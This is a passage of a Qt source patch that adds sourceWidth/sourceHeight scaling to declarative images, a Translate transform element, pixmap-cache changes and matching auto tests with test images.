== h) + return; + d->sourceheight = h; + emit sourceSizeChanged(); + if (isComponentComplete()) + load(); +} + +int QDeclarativeImageBase::sourceHeight() const +{ + Q_D(const QDeclarativeImageBase); + return d->sourceheight <= 0 ? implicitHeight() : d->sourceheight; +} + + void QDeclarativeImageBase::load() { Q_D(QDeclarativeImageBase); @@ -134,9 +169,12 @@ void QDeclarativeImageBase::load() update(); } else { d->status = Loading; - QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->url, &d->pix, d->async); + int reqwidth = d->sourcewidth; + int reqheight = d->sourceheight; + QSize impsize; + QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async, reqwidth, reqheight); if (status != QDeclarativePixmapReply::Ready && status != QDeclarativePixmapReply::Error) { - QDeclarativePixmapReply *reply = QDeclarativePixmapCache::request(qmlEngine(this), d->url); + QDeclarativePixmapReply *reply = QDeclarativePixmapCache::request(qmlEngine(this), d->url, reqwidth, reqheight); d->pendingPixmapCache = true; static int replyDownloadProgress = -1; @@ -161,11 +199,14 @@ void QDeclarativeImageBase::load() } else { //### should be unified with requestFinished if (status == QDeclarativePixmapReply::Ready) { - setImplicitWidth(d->pix.width()); - setImplicitHeight(d->pix.height()); + setImplicitWidth(impsize.width()); + setImplicitHeight(impsize.height()); if (d->status == Loading) d->status = Ready; + + if (d->sourcewidth <= 0 || d->sourceheight <= 0) + emit sourceSizeChanged(); } else { d->status = Error; } @@ -186,16 +227,19 @@ void QDeclarativeImageBase::requestFinished() d->pendingPixmapCache = false; - if (QDeclarativePixmapCache::get(d->url, &d->pix, d->async) != QDeclarativePixmapReply::Ready) + QSize impsize; + if (QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async, d->sourcewidth, d->sourceheight) != QDeclarativePixmapReply::Ready) d->status = Error; - setImplicitWidth(d->pix.width()); - setImplicitHeight(d->pix.height()); + setImplicitWidth(impsize.width()); + setImplicitHeight(impsize.height()); if (d->status == Loading) d->status = Ready; d->progress = 1.0; emit statusChanged(d->status); emit progressChanged(1.0); + if (d->sourcewidth <= 0 || d->sourceheight <= 0) + emit sourceSizeChanged(); pixmapChange(); update(); } diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h index b215193..2653d0a 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h @@ -59,6 +59,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeImageBase : public QDeclarativeItem Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged) Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged) + Q_PROPERTY(int sourceWidth READ sourceWidth WRITE setSourceWidth NOTIFY sourceSizeChanged) + Q_PROPERTY(int sourceHeight READ sourceHeight WRITE setSourceHeight NOTIFY sourceSizeChanged) + public: ~QDeclarativeImageBase(); enum Status { Null, Ready, Loading, Error }; @@ -71,8 +74,14 @@ public: bool asynchronous() const; void setAsynchronous(bool); + void setSourceWidth(int); + int sourceWidth() const; + void setSourceHeight(int); + int sourceHeight() const; + Q_SIGNALS: void sourceChanged(const QUrl &); + void sourceSizeChanged(); void statusChanged(Status); void progressChanged(qreal progress); void asynchronousChanged(); diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h index c4a61f3..cced228 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h @@ -68,6 +68,7 @@ public: QDeclarativeImageBasePrivate() : status(QDeclarativeImageBase::Null), progress(0.0), + sourcewidth(0), sourceheight(0), pendingPixmapCache(false), async(false) { @@ -78,6 +79,7 @@ public: QDeclarativeImageBase::Status status; QUrl url; qreal progress; + int sourcewidth, sourceheight; bool pendingPixmapCache : 1; bool async : 1; }; diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index dd6056e..c331af7 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -83,7 +83,43 @@ QT_BEGIN_NAMESPACE You can assign any number of Transform elements to an Item. Each Transform is applied in order, one at a time, to the Item it's assigned to. - \sa Rotation, Scale + \sa Rotation, Scale, Translate +*/ + +/*! + \qmlclass Translate QGraphicsTranslate + \since 4.7 + \brief The Translate object provides a way to move an Item without changing its x or y. + + The Translate object independent control over position in addition to the Item's x and y properties. + + The following example moves the X axis of the Rectangle, relative to its interior point 25, 25: + \qml + Row { + Rectangle { + width: 100; height: 100 + color: "blue" + transform: Translate { y: 20 } + } + Rectangle { + width: 100; height: 100 + color: "red" + transform: Translate { y: -20 } + } + } + \endqml +*/ + +/*! + \qmlproperty real Translate::x + + The translation along the X axis. +*/ + +/*! + \qmlproperty real Translate::yTranslate + + The translation along the Y axis. */ /*! diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 07d7f4d..1c458b1d4 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -69,6 +69,7 @@ #include "qdeclarativepathview_p.h" #include "qdeclarativerectangle_p.h" #include "qdeclarativerepeater_p.h" +#include "qdeclarativetranslate_p.h" #include "qdeclarativetext_p.h" #include "qdeclarativetextedit_p.h" #include "qdeclarativetextinput_p.h" @@ -123,6 +124,7 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("Qt",4,6,"Repeater"); qmlRegisterType("Qt",4,6,"Rotation"); qmlRegisterType("Qt",4,6,"Row"); + qmlRegisterType("Qt",4,6,"Translate"); qmlRegisterType("Qt",4,6,"Scale"); qmlRegisterType("Qt",4,6,"Text"); qmlRegisterType("Qt",4,6,"TextEdit"); diff --git a/src/declarative/graphicsitems/qdeclarativetranslate.cpp b/src/declarative/graphicsitems/qdeclarativetranslate.cpp new file mode 100644 index 0000000..57c47f0 --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativetranslate.cpp @@ -0,0 +1,159 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativetranslate_p.h" +#include +#include +#include + +class QDeclarativeTranslatePrivate : public QGraphicsTransformPrivate +{ +public: + QDeclarativeTranslatePrivate() + : x(0), y(0), z(0) {} + qreal x; + qreal y; + qreal z; +}; + +/*! + Constructs an empty QDeclarativeTranslate object with the given \a parent. +*/ +QDeclarativeTranslate::QDeclarativeTranslate(QObject *parent) + : QGraphicsTransform(*new QDeclarativeTranslatePrivate, parent) +{ +} + +/*! + Destroys the graphics scale. +*/ +QDeclarativeTranslate::~QDeclarativeTranslate() +{ +} + +/*! + \property QDeclarativeTranslate::x + \brief the horizontal translation. + + The translation can be any real number; the default value is 0.0. + + \sa y, z +*/ +qreal QDeclarativeTranslate::x() const +{ + Q_D(const QDeclarativeTranslate); + return d->x; +} +void QDeclarativeTranslate::setX(qreal x) +{ + Q_D(QDeclarativeTranslate); + if (d->x == x) + return; + d->x = x; + update(); + emit positionChanged(); +} + +/*! + \property QDeclarativeTranslate::y + \brief the vertical translation. + + The translation can be any real number; the default value is 0.0. + + \sa x, z +*/ +qreal QDeclarativeTranslate::y() const +{ + Q_D(const QDeclarativeTranslate); + return d->y; +} +void QDeclarativeTranslate::setY(qreal y) +{ + Q_D(QDeclarativeTranslate); + if (d->y == y) + return; + d->y = y; + update(); + emit positionChanged(); +} + +/*! + \property QDeclarativeTranslate::z + \brief the depth translation. + + The translation can be any real number; the default value is 0.0. + + \sa x, y +*/ +qreal QDeclarativeTranslate::z() const +{ + Q_D(const QDeclarativeTranslate); + return d->z; +} +void QDeclarativeTranslate::setZ(qreal z) +{ + Q_D(QDeclarativeTranslate); + if (d->z == z) + return; + d->z = z; + update(); + emit positionChanged(); +} + +/*! + \reimp +*/ +void QDeclarativeTranslate::applyTo(QMatrix4x4 *matrix) const +{ + Q_D(const QDeclarativeTranslate); + matrix->translate(d->x, d->y, d->z); +} + +/*! + \fn QDeclarativeTranslate::positionChanged() + + QDeclarativeTranslate emits this signal when its position changes. + + \sa QDeclarativeTranslate::x, QDeclarativeTranslate::y + \sa QDeclarativeTranslate::z +*/ + +//#include "moc_qdeclarativetranslate.cpp" diff --git a/src/declarative/graphicsitems/qdeclarativetranslate_p.h b/src/declarative/graphicsitems/qdeclarativetranslate_p.h new file mode 100644 index 0000000..54bfc3d --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativetranslate_p.h @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVETRANSLATE_H +#define QDECLARATIVETRANSLATE_H + +#include "qdeclarativeitem.h" + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeTranslatePrivate; + +class Q_GUI_EXPORT QDeclarativeTranslate : public QGraphicsTransform +{ + Q_OBJECT + + Q_PROPERTY(qreal x READ x WRITE setX NOTIFY positionChanged) + Q_PROPERTY(qreal y READ y WRITE setY NOTIFY positionChanged) + Q_PROPERTY(qreal z READ z WRITE setZ NOTIFY positionChanged) + +public: + QDeclarativeTranslate(QObject *parent = 0); + ~QDeclarativeTranslate(); + + qreal x() const; + void setX(qreal); + + qreal y() const; + void setY(qreal); + + qreal z() const; + void setZ(qreal); + + void applyTo(QMatrix4x4 *matrix) const; + +Q_SIGNALS: + void positionChanged(); + +private: + Q_DECLARE_PRIVATE(QDeclarativeTranslate) + Q_DISABLE_COPY(QDeclarativeTranslate) +}; + +QT_END_NAMESPACE + +QML_DECLARE_TYPE(QDeclarativeTranslate) + +QT_END_HEADER + +#endif diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index e78fdf1..bbe86e7 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -106,7 +106,7 @@ public: QDeclarativeImageReader(QDeclarativeEngine *eng); ~QDeclarativeImageReader(); - QDeclarativePixmapReply *getImage(const QUrl &url); + QDeclarativePixmapReply *getImage(const QUrl &url, int req_width, int req_height); void cancel(QDeclarativePixmapReply *rep); static QDeclarativeImageReader *instance(QDeclarativeEngine *engine); @@ -140,7 +140,7 @@ public: QCoreApplication::postEvent(this, new QEvent(QEvent::User)); } - QDeclarativePixmapReply *getImage(const QUrl &url); + QDeclarativePixmapReply *getImage(const QUrl &url, int req_width, int req_height); void cancel(QDeclarativePixmapReply *reply); protected: @@ -170,11 +170,50 @@ private: //=========================================================================== +static bool readImage(const QUrl& url, QIODevice *dev, QImage *image, QString *errorString, QSize *impsize, int req_width, int req_height) +{ + QImageReader imgio(dev); + + bool force_scale = false; + if (url.path().endsWith(QLatin1String(".svg"),Qt::CaseInsensitive)) { + imgio.setFormat("svg"); // QSvgPlugin::capabilities bug QTBUG-9053 + force_scale = true; + } + + bool scaled = false; + if (req_width > 0 || req_height > 0) { + QSize s = imgio.size(); + if (req_width && (force_scale || req_width < s.width())) { s.setWidth(req_width); scaled = true; } + if (req_height && (force_scale || req_height < s.height())) { s.setHeight(req_height); scaled = true; } + if (scaled) { imgio.setScaledSize(s); } + } + + if (impsize) + *impsize = imgio.size(); + + if (imgio.read(image)) { + if (impsize && impsize->width() < 0) + *impsize = image->size(); + return true; + } else { + if (errorString) + *errorString = QLatin1String("Error decoding: ") + url.toString() + + QLatin1String(" \"") + imgio.errorString() + QLatin1String("\""); + return false; + } +} + + +//=========================================================================== + int QDeclarativeImageRequestHandler::replyDownloadProgress = -1; int QDeclarativeImageRequestHandler::replyFinished = -1; int QDeclarativeImageRequestHandler::downloadProgress = -1; int QDeclarativeImageRequestHandler::thisNetworkRequestDone = -1; +typedef QHash QDeclarativePixmapSizeHash; +Q_GLOBAL_STATIC(QDeclarativePixmapSizeHash, qmlOriginalSizes); + bool QDeclarativeImageRequestHandler::event(QEvent *event) { if (event->type() == QEvent::User) { @@ -238,10 +277,10 @@ bool QDeclarativeImageRequestHandler::event(QEvent *event) QString errorStr; QFile f(lf); if (f.open(QIODevice::ReadOnly)) { - QImageReader imgio(&f); - if (!imgio.read(&image)) { - errorStr = QLatin1String("Error decoding: ") + url.toString() - + QLatin1String(" \"") + imgio.errorString() + QLatin1String("\""); + QSize read_impsize; + if (readImage(url, &f, &image, &errorStr, &read_impsize, runningJob->forcedWidth(),runningJob->forcedHeight())) { + qmlOriginalSizes()->insert(url, read_impsize); + } else { errorCode = QDeclarativeImageReaderEvent::Loading; } } else { @@ -303,12 +342,11 @@ void QDeclarativeImageRequestHandler::networkRequestDone() error = QDeclarativeImageReaderEvent::Loading; errorString = reply->errorString(); } else { - QImageReader imgio(reply); - if (imgio.read(&image)) { + QSize read_impsize; + if (readImage(reply->url(), reply, &image, &errorString, &read_impsize, job->forcedWidth(), job->forcedHeight())) { + qmlOriginalSizes()->insert(reply->url(), read_impsize); error = QDeclarativeImageReaderEvent::NoError; } else { - errorString = QLatin1String("Error decoding: ") + reply->url().toString() - + QLatin1String(" \"") + imgio.errorString() + QLatin1String("\""); error = QDeclarativeImageReaderEvent::Decoding; } } @@ -352,10 +390,10 @@ QDeclarativeImageReader *QDeclarativeImageReader::instance(QDeclarativeEngine *e return reader; } -QDeclarativePixmapReply *QDeclarativeImageReader::getImage(const QUrl &url) +QDeclarativePixmapReply *QDeclarativeImageReader::getImage(const QUrl &url, int req_width, int req_height) { mutex.lock(); - QDeclarativePixmapReply *reply = new QDeclarativePixmapReply(this, url); + QDeclarativePixmapReply *reply = new QDeclarativePixmapReply(this, url, req_width, req_height); reply->addRef(); reply->setLoading(); jobs.append(reply); @@ -397,40 +435,6 @@ void QDeclarativeImageReader::run() //=========================================================================== -static bool readImage(QIODevice *dev, QPixmap *pixmap, QString &errorString) -{ - QImageReader imgio(dev); - -//#define QT_TEST_SCALED_SIZE -#ifdef QT_TEST_SCALED_SIZE - /* - Some mechanism is needed for loading images at a limited size, especially - for remote images. Loading only thumbnails of remote progressive JPEG - images can be efficient. (Qt jpeg handler does not do so currently) - */ - - QSize limit(60,60); - QSize sz = imgio.size(); - if (sz.width() > limit.width() || sz.height() > limit.height()) { - sz.scale(limit,Qt::KeepAspectRatio); - imgio.setScaledSize(sz); - } -#endif - - QImage img; - if (imgio.read(&img)) { -#ifdef QT_TEST_SCALED_SIZE - if (!sz.isValid()) - img = img.scaled(limit,Qt::KeepAspectRatio); -#endif - *pixmap = QPixmap::fromImage(img); - return true; - } else { - errorString = imgio.errorString(); - return false; - } -} - /*! \internal \class QDeclarativePixmapCache @@ -447,8 +451,10 @@ class QDeclarativePixmapReplyPrivate : public QObjectPrivate Q_DECLARE_PUBLIC(QDeclarativePixmapReply) public: - QDeclarativePixmapReplyPrivate(QDeclarativeImageReader *r, const QUrl &u) - : QObjectPrivate(), refCount(1), url(u), status(QDeclarativePixmapReply::Loading), loading(false), reader(r) { + QDeclarativePixmapReplyPrivate(QDeclarativeImageReader *r, const QUrl &u, int req_width, int req_height) + : QObjectPrivate(), refCount(1), url(u), status(QDeclarativePixmapReply::Loading), loading(false), reader(r), + forced_width(req_width), forced_height(req_height) + { } int refCount; @@ -457,11 +463,12 @@ public: QDeclarativePixmapReply::Status status; bool loading; QDeclarativeImageReader *reader; + int forced_width, forced_height; }; -QDeclarativePixmapReply::QDeclarativePixmapReply(QDeclarativeImageReader *reader, const QUrl &url) - : QObject(*new QDeclarativePixmapReplyPrivate(reader, url), 0) +QDeclarativePixmapReply::QDeclarativePixmapReply(QDeclarativeImageReader *reader, const QUrl &url, int req_width, int req_height) + : QObject(*new QDeclarativePixmapReplyPrivate(reader, url, req_width, req_height), 0) { } @@ -475,6 +482,28 @@ const QUrl &QDeclarativePixmapReply::url() const return d->url; } +int QDeclarativePixmapReply::forcedWidth() const +{ + Q_D(const QDeclarativePixmapReply); + return d->forced_width; +} + +int QDeclarativePixmapReply::forcedHeight() const +{ + Q_D(const QDeclarativePixmapReply); + return d->forced_height; +} + +QSize QDeclarativePixmapReply::implicitSize() const +{ + Q_D(const QDeclarativePixmapReply); + QDeclarativePixmapSizeHash::Iterator iter = qmlOriginalSizes()->find(d->url); + if (iter != qmlOriginalSizes()->end()) + return *iter; + else + return QSize(); +} + bool QDeclarativePixmapReply::event(QEvent *event) { Q_D(QDeclarativePixmapReply); @@ -554,13 +583,25 @@ bool QDeclarativePixmapReply::release(bool defer) If \a async is false the image will be loaded and decoded immediately; otherwise the image will be loaded and decoded in a separate thread. + If \a req_width and \a req_height are non-zero, they are used for + the size of the rendered pixmap rather than the intrinsic size of the image. + Different request sizes add different cache items. + Note that images sourced from the network will always be loaded and decoded asynchonously. */ -QDeclarativePixmapReply::Status QDeclarativePixmapCache::get(const QUrl& url, QPixmap *pixmap, bool async) +QDeclarativePixmapReply::Status QDeclarativePixmapCache::get(const QUrl& url, QPixmap *pixmap, QSize *impsize, bool async, int req_width, int req_height) { QDeclarativePixmapReply::Status status = QDeclarativePixmapReply::Unrequested; QByteArray key = url.toEncoded(QUrl::FormattingOption(0x100)); + + if (req_width > 0 && req_height > 0) { + key += ':'; + key += QByteArray::number(req_width); + key += 'x'; + key += QByteArray::number(req_height); + } + QString strKey = QString::fromLatin1(key.constData(), key.count()); #ifndef QT_NO_LOCALFILE_OPTIMIZED_QML @@ -570,11 +611,13 @@ QDeclarativePixmapReply::Status QDeclarativePixmapCache::get(const QUrl& url, QP status = QDeclarativePixmapReply::Ready; if (!QPixmapCache::find(strKey,pixmap)) { QFile f(lf); + QSize read_impsize; if (f.open(QIODevice::ReadOnly)) { QString errorString; - if (!readImage(&f, pixmap, errorString)) { - errorString = QLatin1String("Error decoding: ") + url.toString() - + QLatin1String(" \"") + errorString + QLatin1String("\""); + QImage image; + if (readImage(url, &f, &image, &errorString, &read_impsize, req_width, req_height)) { + *pixmap = QPixmap::fromImage(image); + } else { qWarning() << errorString; *pixmap = QPixmap(); status = QDeclarativePixmapReply::Error; @@ -584,8 +627,18 @@ QDeclarativePixmapReply::Status QDeclarativePixmapCache::get(const QUrl& url, QP *pixmap = QPixmap(); status = QDeclarativePixmapReply::Error; } - if (status == QDeclarativePixmapReply::Ready) + if (status == QDeclarativePixmapReply::Ready) { QPixmapCache::insert(strKey, *pixmap); + qmlOriginalSizes()->insert(url, read_impsize); + } + if (impsize) + *impsize = read_impsize; + } else { + if (impsize) { + QDeclarativePixmapSizeHash::Iterator iter = qmlOriginalSizes()->find(url); + if (iter != qmlOriginalSizes()->end()) + *impsize = *iter; + } } return status; } @@ -608,6 +661,11 @@ QDeclarativePixmapReply::Status QDeclarativePixmapCache::get(const QUrl& url, QP } else if (iter != qmlActivePixmapReplies()->end()) { status = QDeclarativePixmapReply::Loading; } + if (impsize) { + QDeclarativePixmapSizeHash::Iterator iter = qmlOriginalSizes()->find(url); + if (iter != qmlOriginalSizes()->end()) + *impsize = *iter; + } return status; } @@ -621,12 +679,12 @@ QDeclarativePixmapReply::Status QDeclarativePixmapCache::get(const QUrl& url, QP The returned QDeclarativePixmapReply will be deleted when all request() calls are matched by a corresponding get() call. */ -QDeclarativePixmapReply *QDeclarativePixmapCache::request(QDeclarativeEngine *engine, const QUrl &url) +QDeclarativePixmapReply *QDeclarativePixmapCache::request(QDeclarativeEngine *engine, const QUrl &url, int req_width, int req_height) { QDeclarativePixmapReplyHash::Iterator iter = qmlActivePixmapReplies()->find(url); if (iter == qmlActivePixmapReplies()->end()) { QDeclarativeImageReader *reader = QDeclarativeImageReader::instance(engine); - QDeclarativePixmapReply *item = reader->getImage(url); + QDeclarativePixmapReply *item = reader->getImage(url, req_width, req_height); iter = qmlActivePixmapReplies()->insert(url, item); } else { (*iter)->addRef(); diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h index b8949db..0ccf469 100644 --- a/src/declarative/util/qdeclarativepixmapcache_p.h +++ b/src/declarative/util/qdeclarativepixmapcache_p.h @@ -66,6 +66,9 @@ public: Status status() const; const QUrl &url() const; + int forcedWidth() const; + int forcedHeight() const; + QSize implicitSize() const; Q_SIGNALS: void finished(); @@ -81,7 +84,7 @@ private: void setLoading(); private: - QDeclarativePixmapReply(QDeclarativeImageReader *reader, const QUrl &url); + QDeclarativePixmapReply(QDeclarativeImageReader *reader, const QUrl &url, int req_width, int req_height); Q_DISABLE_COPY(QDeclarativePixmapReply) Q_DECLARE_PRIVATE(QDeclarativePixmapReply) friend class QDeclarativeImageRequestHandler; @@ -92,8 +95,8 @@ private: class Q_DECLARATIVE_EXPORT QDeclarativePixmapCache { public: - static QDeclarativePixmapReply::Status get(const QUrl& url, QPixmap *pixmap, bool async=false); - static QDeclarativePixmapReply *request(QDeclarativeEngine *, const QUrl& url); + static QDeclarativePixmapReply::Status get(const QUrl& url, QPixmap *pixmap, QSize *impsize, bool async=false, int req_width=0, int req_height=0); + static QDeclarativePixmapReply *request(QDeclarativeEngine *, const QUrl& url, int req_width=0, int req_height=0); static void cancel(const QUrl& url, QObject *obj); static int pendingRequests(); }; diff --git a/tests/auto/declarative/qdeclarativeimage/data/big.jpeg b/tests/auto/declarative/qdeclarativeimage/data/big.jpeg new file mode 100644 index 0000000..bed7bd6 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/big.jpeg differ diff --git a/tests/auto/declarative/qdeclarativeimage/data/big256.png b/tests/auto/declarative/qdeclarativeimage/data/big256.png new file mode 100644 index 0000000..1dc1596 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/big256.png differ diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart.png b/tests/auto/declarative/qdeclarativeimage/data/heart.png new file mode 100644 index 0000000..372b224 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/heart.png differ diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart.svg b/tests/auto/declarative/qdeclarativeimage/data/heart.svg new file mode 100644 index 0000000..8c982cd --- /dev/null +++ b/tests/auto/declarative/qdeclarativeimage/data/heart.svg @@ -0,0 +1,55 @@ + + + + + +Heart Left-Highlight +This is a normal valentines day heart. + + +holiday +valentines + +valentine +hash(0x8a091c0) +hash(0x8a0916c) +signs_and_symbols +hash(0x8a091f0) +day + + + + +Jon Phillips + + + + +Jon Phillips + + + + +Jon Phillips + + + +image/svg+xml + + +en + + + + + + + + + + + + + + + diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart200.png b/tests/auto/declarative/qdeclarativeimage/data/heart200.png new file mode 100644 index 0000000..786e75d Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/heart200.png differ diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index ed2095b..c7dcbea 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -82,6 +82,8 @@ private slots: void resized(); void smooth(); void pixmap(); + void svg(); + void big(); private: QDeclarativeEngine engine; @@ -111,24 +113,29 @@ void tst_qdeclarativeimage::noSource() void tst_qdeclarativeimage::imageSource_data() { QTest::addColumn("source"); + QTest::addColumn("width"); + QTest::addColumn("height"); QTest::addColumn("remote"); QTest::addColumn("async"); QTest::addColumn("error"); - QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << false << false << ""; - QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << false << true << ""; - QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << false + QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << ""; + QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << ""; + QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << 0.0 << 0.0 << false << false << "Cannot open QUrl( \"" + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() + "\" ) "; - QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << false + QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << 0.0 << 0.0 << false << true << "\"Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() + "\" "; - QTest::newRow("remote") << SERVER_ADDR "/colors.png" << true << false << ""; - QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << true << false + QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << ""; + QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << ""; + QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << 0.0 << 0.0 << true << false << "\"Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found\" "; } void tst_qdeclarativeimage::imageSource() { QFETCH(QString, source); + QFETCH(qreal, width); + QFETCH(qreal, height); QFETCH(bool, remote); QFETCH(bool, async); QFETCH(QString, error); @@ -156,8 +163,8 @@ void tst_qdeclarativeimage::imageSource() if (error.isEmpty()) { TRY_WAIT(obj->status() == QDeclarativeImage::Ready); - QCOMPARE(obj->width(), 120.); - QCOMPARE(obj->height(), 120.); + QCOMPARE(obj->width(), width); + QCOMPARE(obj->height(), height); QCOMPARE(obj->fillMode(), QDeclarativeImage::Stretch); QCOMPARE(obj->progress(), 1.0); } else { @@ -248,6 +255,48 @@ void tst_qdeclarativeimage::pixmap() delete obj; } +void tst_qdeclarativeimage::svg() +{ + QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/heart.svg\"; sourceWidth: 300; sourceHeight: 300 }"; + QDeclarativeComponent component(&engine); + component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); + QDeclarativeImage *obj = qobject_cast(component.create()); + QVERIFY(obj != 0); + QCOMPARE(obj->pixmap().width(), 300); + QCOMPARE(obj->pixmap().height(), 300); + QCOMPARE(obj->width(), 550.0); + QCOMPARE(obj->height(), 500.0); + QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png")); + + obj->setSourceWidth(200); + obj->setSourceHeight(200); + + QCOMPARE(obj->pixmap().width(), 200); + QCOMPARE(obj->pixmap().height(), 200); + QCOMPARE(obj->width(), 550.0); + QCOMPARE(obj->height(), 500.0); + QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200.png")); + + delete obj; +} + +void tst_qdeclarativeimage::big() +{ + QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/big.jpeg\"; sourceWidth: 256; sourceHeight: 256 }"; + QDeclarativeComponent component(&engine); + component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); + QDeclarativeImage *obj = qobject_cast(component.create()); + QVERIFY(obj != 0); + QCOMPARE(obj->pixmap().width(), 256); + QCOMPARE(obj->pixmap().height(), 256); + QCOMPARE(obj->width(), 10240.0); + QCOMPARE(obj->height(), 10240.0); + QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/big256.png")); + + delete obj; +} + + QTEST_MAIN(tst_qdeclarativeimage) #include "tst_qdeclarativeimage.moc" -- cgit v0.12 From 7687d4cd76a9e22098be84126e01a6c94a91d9ce Mon Sep 17 00:00:00 